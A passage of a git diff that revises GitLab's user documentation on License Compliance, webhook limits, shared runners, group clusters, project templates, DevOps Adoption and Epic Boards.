`License-Scanning.gitlab-ci.yml` template, the License Compliance job doesn't wait for other stages to complete. -### Available variables +### Available CI/CD variables License Compliance can be configured using CI/CD variables. @@ -153,7 +153,7 @@ License Compliance can be configured using CI/CD variables. > Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.4. -The `license_management` image already embeds many auto-detection scripts, languages, +The `license_finder` image already embeds many auto-detection scripts, languages, and packages. Nevertheless, it's almost impossible to cover all cases for all projects. That's why sometimes it's necessary to install extra packages, or to have extra steps in the project automated setup, like the download and installation of a certificate. @@ -265,11 +265,11 @@ license_scanning: ### Custom root certificates for Python You can supply a custom root certificate to complete TLS verification by using the -`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables). +`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables). #### Using private Python repositories -If you have a private Python repository you can use the `PIP_INDEX_URL` [CI/CD variable](#available-variables) +If you have a private Python repository you can use the `PIP_INDEX_URL` [CI/CD variable](#available-cicd-variables) to specify its location. ### Configuring npm projects @@ -292,7 +292,7 @@ registry = https://npm.example.com #### Custom root certificates for npm You can supply a custom root certificate to complete TLS verification by using the -`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables). +`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables). To disable TLS verification you can provide the [`strict-ssl`](https://docs.npmjs.com/using-npm/config/#strict-ssl) setting. @@ -323,7 +323,7 @@ npmRegistryServer: "https://npm.example.com" #### Custom root certificates for Yarn You can supply a custom root certificate to complete TLS verification by using the -`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables). +`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables). ### Configuring Bower projects @@ -347,7 +347,7 @@ For example: #### Custom root certificates for Bower You can supply a custom root certificate to complete TLS verification by using the -`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables), or by +`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables), or by specifying a `ca` setting in a [`.bowerrc`](https://bower.io/docs/config/#bowerrc-specification) file. @@ -368,7 +368,7 @@ source "https://gems.example.com" #### Custom root certificates for Bundler You can supply a custom root certificate to complete TLS verification by using the -`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables), or by +`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables), or by specifying a [`BUNDLE_SSL_CA_CERT`](https://bundler.io/v2.0/man/bundle-config.1.html) [variable](../../../ci/variables/README.md#custom-cicd-variables) in the job definition. @@ -392,7 +392,7 @@ my-registry = { index = "https://my-intranet:8080/git/index" } To supply a custom root certificate to complete TLS verification, do one of the following: -- Use the `ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables). +- Use the `ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables). - Specify a [`CARGO_HTTP_CAINFO`](https://doc.rust-lang.org/cargo/reference/environment-variables.html) [variable](../../../ci/variables/README.md#custom-cicd-variables) in the job definition. @@ -425,7 +425,7 @@ For example: #### Custom root certificates for Composer You can supply a custom root certificate to complete TLS verification by using the -`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables), or by +`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables), or by specifying a [`COMPOSER_CAFILE`](https://getcomposer.org/doc/03-cli.md#composer-cafile) [variable](../../../ci/variables/README.md#custom-cicd-variables) in the job definition. @@ -499,7 +499,7 @@ You can provide custom certificates by adding a `.conan/cacert.pem` file to the setting [`CA_CERT_PATH`](https://docs.conan.io/en/latest/reference/env_vars.html#conan-cacert-path) to `.conan/cacert.pem`. -If you specify the `ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables), this +If you specify the `ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables), this variable's X.509 certificates are installed in the Docker image's default trust store and Conan is configured to use this as the default `CA_CERT_PATH`. @@ -507,7 +507,7 @@ configured to use this as the default `CA_CERT_PATH`. To configure [Go modules](https://github.com/golang/go/wiki/Modules) based projects, specify [CI/CD variables](https://golang.org/pkg/cmd/go/#hdr-Environment_variables) -in the `license_scanning` job's [variables](#available-variables) section in `.gitlab-ci.yml`. +in the `license_scanning` job's [variables](#available-cicd-variables) section in `.gitlab-ci.yml`. If a project has [vendored](https://golang.org/pkg/cmd/go/#hdr-Vendor_Directories) its modules, then the combination of the `vendor` directory and `mod.sum` file are used to detect the software @@ -556,10 +556,13 @@ For example: #### Custom root certificates for NuGet You can supply a custom root certificate to complete TLS verification by using the -`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables). +`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables). ### Migration from `license_management` to `license_scanning` +WARNING: +The `license_management` job was deprecated in GitLab 12.8. The `License-Management.gitlab-ci.yml` template was removed from GitLab 14.0. + In GitLab 12.8 a new name for `license_management` job was introduced. This change was made to improve clarity around the purpose of the scan, which is to scan and collect the types of licenses present in a projects dependencies. GitLab 13.0 drops support for `license_management`. If you're using a custom setup for License Compliance, you're required @@ -730,8 +733,9 @@ Developers of the project can view the policies configured in a project. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13067) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.3. -`License-Check` is a [security approval](../../application_security/index.md#enabling-security-approvals-within-a-project) rule you can enable to allow an individual or group to approve a -merge request that contains a `denied` license. +`License-Check` is a [merge request approval](../../project/merge_requests/approvals/index.md) rule +you can enable to allow an individual or group to approve a merge request that contains a `denied` +license. You can enable `License-Check` one of two ways: @@ -816,7 +820,7 @@ license_scanning: ASDF_RUBY_VERSION: '2.7.2' ``` -A full list of variables can be found in [CI/CD variables](#available-variables). +A full list of variables can be found in [CI/CD variables](#available-cicd-variables). To find out what tools are pre-installed in the `license_scanning` Docker image use the following command: diff --git a/doc/user/discussions/index.md b/doc/user/discussions/index.md index 50007545a65..cf57afb8324 100644 --- a/doc/user/discussions/index.md +++ b/doc/user/discussions/index.md @@ -7,7 +7,8 @@ type: reference, howto # Threads **(FREE)** -GitLab encourages communication through comments, threads, and suggestions. +GitLab encourages communication through comments, threads, and +[code suggestions](../project/merge_requests/reviews/suggestions.md). For example, you can create a comment in the following places: @@ -22,8 +23,10 @@ There are standard comments, and you also have the option to create a comment in the form of a thread. A comment can also be [turned into a thread](#start-a-thread-by-replying-to-a-standard-comment) when it receives a reply. -The comment area supports [Markdown](../markdown.md) and [quick actions](../project/quick_actions.md). You can edit your own -comment at any time, and anyone with [Maintainer access level](../permissions.md) or +The comment area supports [Markdown](../markdown.md) and [quick actions](../project/quick_actions.md). +You can [suggest code changes](../project/merge_requests/reviews/suggestions.md) in your comment, +which the user can accept through the user interface. You can edit your own +comment at any time, and anyone with the [Maintainer role](../permissions.md) or higher can also edit a comment made by someone else. You can also reply to a comment notification email to reply to the comment if diff --git a/doc/user/gitlab_com/index.md b/doc/user/gitlab_com/index.md index cdb4ca52c9c..223d3363186 100644 --- a/doc/user/gitlab_com/index.md +++ b/doc/user/gitlab_com/index.md @@ -153,289 +153,19 @@ content directly from common public CDN hostnames. ## Webhooks -A limit of: +The following limits apply for [Webhooks](../project/integrations/webhooks.md): -- 100 webhooks applies to projects. -- 50 webhooks applies to groups. **(BRONZE ONLY)** -- Payload is limited to 25MB +| Setting | GitLab.com | Default | +| ------- | ---------- | ------- | +| [Webhook rate limit](../../administration/instance_limits.md#webhook-rate-limit) | `120` calls per minute for Free tier, unlimited for all paid tiers | Unlimited +| [Number of webhooks](../../administration/instance_limits.md#number-of-webhooks) | `100` per-project, `50` per-group | `100` per-project, `50` per-group +| Maximum payload size | `25 MB` | `25 MB` ## Shared runners -GitLab offers Linux and Windows shared runners hosted on GitLab.com for executing your pipelines. +GitLab has shared runners on GitLab.com that you can use to run your CI jobs. -NOTE: -Shared runners provided by GitLab are **not** configurable. Consider [installing your own runner](https://docs.gitlab.com/runner/install/) if you have specific configuration needs. - -### Linux shared runners - -Linux shared runners on GitLab.com run in autoscale mode and are powered by Google Cloud Platform. - -Autoscaling means reduced queue times to spin up CI/CD jobs, and isolated VMs for each project, thus maximizing security. These shared runners are available for users and customers on GitLab.com. - -GitLab offers Ultimate tier capabilities and included CI/CD minutes per group per month for our [Open Source](https://about.gitlab.com/solutions/open-source/join/), [Education](https://about.gitlab.com/solutions/education/), and [Startups](https://about.gitlab.com/solutions/startups/) programs. For private projects, GitLab offers various [plans](https://about.gitlab.com/pricing/), starting with a Free tier. - -All your CI/CD jobs run on [n1-standard-1 instances](https://cloud.google.com/compute/docs/machine-types) with 3.75GB of RAM, CoreOS and the latest Docker Engine -installed. Instances provide 1 vCPU and 25GB of HDD disk space. The default -region of the VMs is US East1. -Each instance is used only for one job, this ensures any sensitive data left on the system can't be accessed by other people their CI jobs. - -The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They don't run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times. - -Jobs handled by the shared runners on GitLab.com (`shared-runners-manager-X.gitlab.com`), -**time out after 3 hours**, regardless of the timeout configured in a -project. Check the issues [4010](https://gitlab.com/gitlab-com/infrastructure/-/issues/4010) and [4070](https://gitlab.com/gitlab-com/infrastructure/-/issues/4070) for the reference. - -Below are the shared runners settings. - -| Setting | GitLab.com | Default | -| ----------- | ----------------- | ---------- | -| [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) | [Runner versions dashboard](https://dashboards.gitlab.com/d/000000159/ci?from=now-1h&to=now&refresh=5m&orgId=1&panelId=12&fullscreen&theme=light) | - | -| Executor | `docker+machine` | - | -| Default Docker image | `ruby:2.5` | - | -| `privileged` (run [Docker in Docker](https://hub.docker.com/_/docker/)) | `true` | `false` | - -#### Pre-clone script - -Linux shared runners on GitLab.com provide a way to run commands in a CI -job before the runner attempts to run `git init` and `git fetch` to -download a GitLab repository. The -[`pre_clone_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) -can be used for: - -- Seeding the build directory with repository data -- Sending a request to a server -- Downloading assets from a CDN -- Any other commands that must run before the `git init` - -To use this feature, define a [CI/CD variable](../../ci/variables/README.md#custom-cicd-variables) called -`CI_PRE_CLONE_SCRIPT` that contains a bash script. - -[This example](../../development/pipelines.md#pre-clone-step) -demonstrates how you might use a pre-clone step to seed the build -directory. - -#### `config.toml` - -The full contents of our `config.toml` are: - -NOTE: -Settings that are not public are shown as `X`. - -**Google Cloud Platform** - -```toml -concurrent = X -check_interval = 1 -metrics_server = "X" -sentry_dsn = "X" - -[[runners]] - name = "docker-auto-scale" - request_concurrency = X - url = "https://gitlab.com/" - token = "SHARED_RUNNER_TOKEN" - pre_clone_script = "eval \"$CI_PRE_CLONE_SCRIPT\"" - executor = "docker+machine" - environment = [ - "DOCKER_DRIVER=overlay2", - "DOCKER_TLS_CERTDIR=" - ] - limit = X - [runners.docker] - image = "ruby:2.5" - privileged = true - volumes = [ - "/certs/client", - "/dummy-sys-class-dmi-id:/sys/class/dmi/id:ro" # Make kaniko builds work on GCP. - ] - [runners.machine] - IdleCount = 50 - IdleTime = 3600 - MaxBuilds = 1 # For security reasons we delete the VM after job has finished so it's not reused. - MachineName = "srm-%s" - MachineDriver = "google" - MachineOptions = [ - "google-project=PROJECT", - "google-disk-size=25", - "google-machine-type=n1-standard-1", - "google-username=core", - "google-tags=gitlab-com,srm", - "google-use-internal-ip", - "google-zone=us-east1-d", - "engine-opt=mtu=1460", # Set MTU for container interface, for more information check https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3214#note_82892928 - "google-machine-image=PROJECT/global/images/IMAGE", - "engine-opt=ipv6", # This will create IPv6 interfaces in the containers. - "engine-opt=fixed-cidr-v6=fc00::/7", - "google-operation-backoff-initial-interval=2" # Custom flag from forked docker-machine, for more information check https://github.com/docker/machine/pull/4600 - ] - [[runners.machine.autoscaling]] - Periods = ["* * * * * sat,sun *"] - Timezone = "UTC" - IdleCount = 70 - IdleTime = 3600 - [[runners.machine.autoscaling]] - Periods = ["* 30-59 3 * * * *", "* 0-30 4 * * * *"] - Timezone = "UTC" - IdleCount = 700 - IdleTime = 3600 - [runners.cache] - Type = "gcs" - Shared = true - [runners.cache.gcs] - CredentialsFile = "/path/to/file" - BucketName = "bucket-name" -``` - -### Windows shared runners (beta) - -The Windows shared runners are in [beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta) -and shouldn't be used for production workloads. - -During this beta period, the [shared runner pipeline quota](../admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota) -applies for groups and projects in the same manner as Linux runners. This may -change when the beta period ends, as discussed in this [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/30834). - -Windows shared runners on GitLab.com autoscale by launching virtual machines on -the Google Cloud Platform. This solution uses an -[autoscaling driver](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/tree/master/docs/readme.md) -developed by GitLab for the [custom executor](https://docs.gitlab.com/runner/executors/custom.html). -Windows shared runners execute your CI/CD jobs on `n1-standard-2` instances with -2 vCPUs and 7.5 GB RAM. You can find a full list of available Windows packages in -the [package documentation](https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/gcp/windows-containers/blob/master/cookbooks/preinstalled-software/README.md). - -We want to keep iterating to get Windows shared runners in a stable state and -[generally available](https://about.gitlab.com/handbook/product/gitlab-the-product/#generally-available-ga). -You can follow our work towards this goal in the -[related epic](https://gitlab.com/groups/gitlab-org/-/epics/2162). - -#### Configuration - -The full contents of our `config.toml` are: - -NOTE: -Settings that aren't public are shown as `X`. - -```toml -concurrent = X -check_interval = 3 - -[[runners]] - name = "windows-runner" - url = "https://gitlab.com/" - token = "TOKEN" - executor = "custom" - builds_dir = "C:\\GitLab-Runner\\builds" - cache_dir = "C:\\GitLab-Runner\\cache" - shell = "powershell" - [runners.custom] - config_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" - config_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "config"] - prepare_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" - prepare_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "prepare"] - run_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" - run_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "run"] - cleanup_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" - cleanup_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "cleanup"] -``` - -The full contents of our `autoscaler/config.toml` are: - -```toml -Provider = "gcp" -Executor = "winrm" -OS = "windows" -LogLevel = "info" -LogFormat = "text" -LogFile = "C:\\GitLab-Runner\\autoscaler\\autoscaler.log" -VMTag = "windows" - -[GCP] - ServiceAccountFile = "PATH" - Project = "some-project-df9323" - Zone = "us-east1-c" - MachineType = "n1-standard-2" - Image = "IMAGE" - DiskSize = 50 - DiskType = "pd-standard" - Subnetwork = "default" - Network = "default" - Tags = ["TAGS"] - Username = "gitlab_runner" - -[WinRM] - MaximumTimeout = 3600 - ExecutionMaxRetries = 0 - -[ProviderCache] - Enabled = true - Directory = "C:\\GitLab-Runner\\autoscaler\\machines" -``` - -#### Example - -Below is a simple `.gitlab-ci.yml` file to show how to start using the -Windows shared runners: - -```yaml -.shared_windows_runners: - tags: - - shared-windows - - windows - - windows-1809 - -stages: - - build - - test - -before_script: - - Set-Variable -Name "time" -Value (date -Format "%H:%m") - - echo ${time} - - echo "started by ${GITLAB_USER_NAME}" - -build: - extends: - - .shared_windows_runners - stage: build - script: - - echo "running scripts in the build job" - -test: - extends: - - .shared_windows_runners - stage: test - script: - - echo "running scripts in the test job" -``` - -#### Limitations and known issues - -- All the limitations mentioned in our [beta - definition](https://about.gitlab.com/handbook/product/#beta). -- The average provisioning time for a new Windows VM is 5 minutes. - This means that you may notice slower build start times - on the Windows shared runner fleet during the beta. In a future - release we intend to update the autoscaler to enable - the pre-provisioning of virtual machines. This is intended to significantly reduce - the time it takes to provision a VM on the Windows fleet. You can - follow along in the [related issue](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/-/issues/32). -- The Windows shared runner fleet may be unavailable occasionally - for maintenance or updates. -- The Windows shared runner virtual machine instances do not use the - GitLab Docker executor. This means that you can't specify - [`image`](../../ci/yaml/README.md#image) or [`services`](../../ci/yaml/README.md#services) in - your pipeline configuration. -- For the beta release, we have included a set of software packages in - the base VM image. If your CI job requires additional software that's - not included in this list, then you must add installation - commands to [`before_script`](../../ci/yaml/README.md#before_script) or [`script`](../../ci/yaml/README.md#script) to install the required - software. Note that each job runs on a new VM instance, so the - installation of additional software packages needs to be repeated for - each job in your pipeline. -- The job may stay in a pending state for longer than the - Linux shared runners. -- There is the possibility that we introduce breaking changes which will - require updates to pipelines that are using the Windows shared runner - fleet. +For more information, see [choosing a runner](../../ci/runners/README.md). ## Sidekiq @@ -502,26 +232,12 @@ for `shared_buffers` is quite high and as such we are looking into adjusting it. More information on this particular change can be found at <https://gitlab.com/gitlab-com/infrastructure/-/issues/1555>. An up to date list of proposed changes can be found at -<https://gitlab.com/gitlab-com/infrastructure/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=database&label_name[]=change>. +<https://gitlab.com/gitlab-com/infrastructure/-/issues?scope=all&state=opened&label_name[]=database&label_name[]=change>. ## Puma GitLab.com uses the default of 60 seconds for [Puma request timeouts](https://docs.gitlab.com/omnibus/settings/puma.html#worker-timeout). -## Unicorn - -GitLab.com adjusts the memory limits for the [unicorn-worker-killer](https://rubygems.org/gems/unicorn-worker-killer) gem. - -Base default: - -- `memory_limit_min` = 750MiB -- `memory_limit_max` = 1024MiB - -Web front-ends: - -- `memory_limit_min` = 1024MiB -- `memory_limit_max` = 1280MiB - ## GitLab.com-specific rate limits NOTE: diff --git a/doc/user/group/bulk_editing/index.md b/doc/user/group/bulk_editing/index.md index 48644b7427d..feceafd0991 100644 --- a/doc/user/group/bulk_editing/index.md +++ b/doc/user/group/bulk_editing/index.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../user/group/index.md' +remove_date: '2021-08-13' --- This document was moved to [another location](../../../user/group/index.md). diff --git a/doc/user/group/clusters/index.md b/doc/user/group/clusters/index.md index 87b259df9d8..4de464822f7 100644 --- a/doc/user/group/clusters/index.md +++ b/doc/user/group/clusters/index.md @@ -17,12 +17,11 @@ your group, enabling you to use the same cluster across multiple projects. To view your group level Kubernetes clusters, navigate to your project and select **Kubernetes** from the left-hand menu. -## Installing applications +## Cluster management project -GitLab can install and manage some applications in your group-level -cluster. For more information on installing, upgrading, uninstalling, -and troubleshooting applications for your group cluster, see -[GitLab Managed Apps](../../clusters/applications.md). +Attach a [cluster management project](../../clusters/management_project.md) +to your cluster to manage shared resources requiring `cluster-admin` privileges for +installation, such as an Ingress controller. ## RBAC compatibility @@ -72,9 +71,6 @@ for deployments with a cluster not managed by GitLab, you must ensure: (this is [not automatic](https://gitlab.com/gitlab-org/gitlab/-/issues/31519)). Editing `KUBE_NAMESPACE` directly is discouraged. -If you [install applications](#installing-applications) on your cluster, GitLab creates -the resources required to run them, even if you choose to manage your own cluster. - ### Clearing the cluster cache > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31759) in GitLab 12.6. @@ -100,7 +96,7 @@ per [multiple Kubernetes clusters](#multiple-kubernetes-clusters) When specifyin this is automatically set as an environment variable (`KUBE_INGRESS_BASE_DOMAIN`) during the [Auto DevOps](../../../topics/autodevops/index.md) stages. -The domain should have a wildcard DNS configured to the Ingress IP address. +The domain should have a wildcard DNS configured to the Ingress IP address. [More details](../../project/clusters/index.md#base-domain). ## Environment scopes **(PREMIUM)** diff --git a/doc/user/group/custom_project_templates.md b/doc/user/group/custom_project_templates.md index 016bda329b2..d544003536e 100644 --- a/doc/user/group/custom_project_templates.md +++ b/doc/user/group/custom_project_templates.md @@ -9,26 +9,29 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6861) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.6. -Custom project templates are useful for organizations that need to create many similar types of [projects](../project/index.md) and want to start from the same jumping-off point. +Custom project templates are useful for organizations that need to create many similar types of +[projects](../project/index.md). +Projects created from these templates serve as a common starting point. ## Setting up group-level project templates -To use a custom project template for a new project you need to: +To use a custom project template for a new project: -1. [Create a 'templates' subgroup](subgroups/index.md). -1. [Add repositories (projects) to the that new subgroup](index.md#add-projects-to-a-group), as your templates. -1. Edit your group's settings to look to your 'templates' subgroup for templates: - 1. In the left-hand menu, click **{settings}** **Settings > General**. +1. [Create a `templates` subgroup](subgroups/index.md). +1. [Add repositories (projects) to that new subgroup](index.md#add-projects-to-a-group), + as your templates. +1. Edit your group's settings to look to your _templates_ subgroup for templates: - NOTE: - If you don't have access to the group's settings, you may not have sufficient privileges (for example, you may need developer or higher permissions). - - 1. Scroll to **Custom project templates** and click **Expand**. If no **Custom project templates** section displays, make sure you've created a subgroup, and added a project (repository) to it. - 1. Select the 'templates' subgroup. + 1. In the left menu, select **Settings > General**. If you don't have access to the + group's settings, you may not have sufficient privileges (for example, you may need developer + or higher permissions). + 1. Scroll to **Custom project templates** and select **Expand**. If no **Custom project templates** + section displays, make sure you've created a subgroup and added a project (repository) to it. + 1. Select the **templates** subgroup. ### Example structure -Here is a sample group/project structure for a hypothetical "Acme Co" for project templates: +Here's a sample group/project structure for project templates, for a hypothetical _Acme Co_: ```plaintext # GitLab instance and group @@ -53,24 +56,22 @@ gitlab.com/acmeco/ ### Adjust Settings -Users can configure a GitLab group that serves as template -source under a group's **Settings > General > Custom project templates**. - -NOTE: -GitLab administrators can -[set project templates for an entire GitLab instance](../admin_area/custom_project_templates.md). - -Within this section, you can configure the group where all the custom project -templates are sourced. Every project _template_ directly under the group namespace is -available to every signed-in user, if all enabled [project features](../project/settings/index.md#sharing-and-permissions) except for GitLab Pages are set to **Everyone With Access**. - -However, private projects will be available only if the user is a member of the project. +Users can configure a GitLab group that serves as template source under a group's +**Settings > General > Custom project templates**. NOTE: -Only direct subgroups can be set as the template source. Projects of nested subgroups of a selected template source cannot be used. - -Repository and database information that are copied over to each new project are -identical to the data exported with the [GitLab Project Import/Export](../project/settings/import_export.md). +GitLab administrators can [set project templates for an entire GitLab instance](../admin_area/custom_project_templates.md). + +Within this section, you can configure the group where all the custom project templates are sourced. +If all enabled [project features](../project/settings/index.md#sharing-and-permissions) +(except for GitLab Pages) are set to **Everyone With Access**, then every project template directly +under the group namespace is available to every signed-in user. However, private projects are +available only if the user is a member of the project. Also note that only direct subgroups can be +set as the template source. Projects of nested subgroups of a selected template source cannot be +used. + +Repository and database information that are copied over to each new project are identical to the +data exported with the [GitLab Project Import/Export](../project/settings/import_export.md). <!-- ## Troubleshooting diff --git a/doc/user/group/devops_adoption/img/group_devops_adoption_v13_11.png b/doc/user/group/devops_adoption/img/group_devops_adoption_v13_11.png Binary files differdeleted file mode 100644 index a6ece47ba9a..00000000000 --- a/doc/user/group/devops_adoption/img/group_devops_adoption_v13_11.png +++ /dev/null diff --git a/doc/user/group/devops_adoption/img/group_devops_adoption_v14_0.png b/doc/user/group/devops_adoption/img/group_devops_adoption_v14_0.png Binary files differnew file mode 100644 index 00000000000..91055f660da --- /dev/null +++ b/doc/user/group/devops_adoption/img/group_devops_adoption_v14_0.png diff --git a/doc/user/group/devops_adoption/index.md b/doc/user/group/devops_adoption/index.md index 5a23e1559bc..f98325143cc 100644 --- a/doc/user/group/devops_adoption/index.md +++ b/doc/user/group/devops_adoption/index.md @@ -18,21 +18,25 @@ Refer to this feature's version history for more details. Prerequisites: -- A minimum of [Reporter access](../../permissions.md) to the group. +- You must have at least the [Reporter role](../../permissions.md) for the group. To access Group DevOps Adoption, go to your group and select **Analytics > DevOps Adoption**. Group DevOps Adoption shows you how individual groups and sub-groups within your organization use the following features: -- Approvals -- Deployments -- Issues -- Merge Requests -- Pipelines -- Runners -- Scans - -When managing groups in the UI, you can manage your sub-groups with the **Add/Remove sub-groups** +- Dev + - Issues + - Merge Requests + - Approvals + - Code owners +- Sec + - Scans +- Ops + - Runners + - Pipelines + - Deployments + +When managing groups in the UI, you can add your sub-groups with the **Add sub-group to table** button, in the top right hand section of your Groups pages. With DevOps Adoption you can: @@ -41,7 +45,7 @@ With DevOps Adoption you can: - Identify specific sub-groups that are lagging in their adoption of GitLab so you can help them along in their DevOps journey. - Find the sub-groups that have adopted certain features and can provide guidance to other sub-groups on how to use those features. - + ## Enable data processing diff --git a/doc/user/group/epics/epic_boards.md b/doc/user/group/epics/epic_boards.md index 343f7c496b1..2f9dc27d87f 100644 --- a/doc/user/group/epics/epic_boards.md +++ b/doc/user/group/epics/epic_boards.md @@ -6,17 +6,12 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Epic Boards **(PREMIUM)** -> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2864) in GitLab 13.10. -> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default. -> - It's disabled on GitLab.com. -> - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](../../../administration/feature_flags.md). - -WARNING: -This feature might not be available to you. Check the **version history** note above for details. - -The GitLab Epic Board is a software project management tool used to plan, -organize, and visualize a workflow for a feature or product release. +> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5067) in GitLab 13.10. +> - [Deployed behind a feature flag](../../feature_flags.md), disabled by default. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/290039) in GitLab 14.0. +> - Enabled on GitLab.com. +> - Recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](../../../administration/feature_flags.md). Epic boards build on the existing [epic tracking functionality](index.md) and [labels](../../project/labels.md). Your epics appear as cards in vertical lists, organized by their assigned @@ -24,45 +19,156 @@ labels. To view an epic board, in a group, select **Epics > Boards**. - + ## Create an epic board +Prerequisites: + +- A minimum of [Reporter](../../permissions.md#group-members-permissions) access to a group in GitLab. + To create a new epic board: -1. Select the dropdown with the current board name in the upper left corner of the Epic Boards page. +1. Go to your group and select **Epics > Boards**. +1. In the upper left corner, select the dropdown with the current board name. 1. Select **Create new board**. -1. Enter the new board's name and select **Create**. +1. Enter the new board's title. +1. Optional. To hide the Open or Closed lists, clear the **Show the Open list** and + **Show the Closed list** checkboxes. +1. Optional. Set board scope: + 1. Next to **Scope**, select **Expand**. + 1. Next to **Labels**, select **Edit** and select the labels to use as board scope. +1. Select **Create board**. + +Now you can [add some lists](#create-a-new-list). +To change these options later, [edit the board](#edit-the-scope-of-an-epic-board). + +## Delete an epic board + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5079) in GitLab 14.0. + +Prerequisites: + +- A minimum of [Reporter](../../permissions.md#group-members-permissions) access to a group in GitLab. +- A minimum of two boards present in a group. + +To delete the active epic board: + +1. Select the dropdown with the current board name in the upper left corner of the Epic Boards page. +1. Select **Delete board**. +1. Select **Delete**. + +## Actions you can take on an epic board + +- [Create a new list](#create-a-new-list). +- [Remove an existing list](#remove-a-list). +- [Filter epics](#filter-epics). +- Create workflows, like when using [issue boards](../../project/issue_board.md#create-workflows). +- [Move epics and lists](#move-epics-and-lists). +- Change epic labels (by dragging an epic between lists). +- Close an epic (by dragging it to the **Closed** list). +- [Edit the scope of a board](#edit-the-scope-of-an-epic-board). + +### Create a new list + +Prerequisites: + +- A minimum of [Reporter](../../permissions.md#group-members-permissions) access to a group in GitLab. + +To create a new list: + +1. Go to your group and select **Epics > Boards**. +1. In the upper-right corner, select **Create list**. +1. In the **New list** column expand the **Select a label** dropdown and select the label to use as + list scope. +1. Select **Add to board**. + +### Remove a list + +Removing a list doesn't have any effect on epics and labels, as it's just the +list view that's removed. You can always create it again later if you need. + +Prerequisites: + +- A minimum of [Reporter](../../permissions.md#group-members-permissions) access to a group in GitLab. + +To remove a list from an epic board: -## Limitations of epic boards +1. On the top of the list you want to remove, select the **List settings** icon (**{settings}**). + The list settings sidebar opens on the right. +1. Select **Remove list**. A confirmation dialog appears. +1. Select **OK**. -As of GitLab 13.10, these limitations apply: +### Filter epics -- Epic Boards need to be enabled by an administrator. -- Epic Boards can be created but not deleted. -- Lists can be added to the board but not deleted. -- There is no sidebar on the board. To edit an epic, go to the epic's page. -- There is no drag and drop support yet. To move an epic between lists, edit epic labels on the epic's page. -- Epics cannot be re-ordered within the list. +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5079) in GitLab 14.0. -To learn more about the future iterations of this feature, visit -[epic 5067](https://gitlab.com/groups/gitlab-org/-/epics/5067). +Use the filters on top of your epic board to show only +the results you want. It's similar to the filtering used in the epic list, +as the metadata from the epics and labels is re-used in the epic board. -## Enable or disable Epic Boards +You can filter by the following: -Epic Boards are under development and not ready for production use. It is -deployed behind a feature flag that is **disabled by default**. +- Author +- Label + +### Move epics and lists + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5079) in GitLab 14.0. + +You can move epics and lists by dragging them. + +Prerequisites: + +- A minimum of [Reporter](../../permissions.md#group-members-permissions) access to a group in GitLab. + +To move an epic, select the epic card and drag it to another position in its current list or +into another list. Learn about possible effects in [Dragging epics between lists](#dragging-epics-between-lists). + +To move a list, select its top bar, and drag it horizontally. +You can't move the **Open** and **Closed** lists, but you can hide them when editing an epic board. + +#### Dragging epics between lists + +When you drag epics between lists, the result is different depending on the source list +and the target list. + +| | To Open | To Closed | To label B list | +| 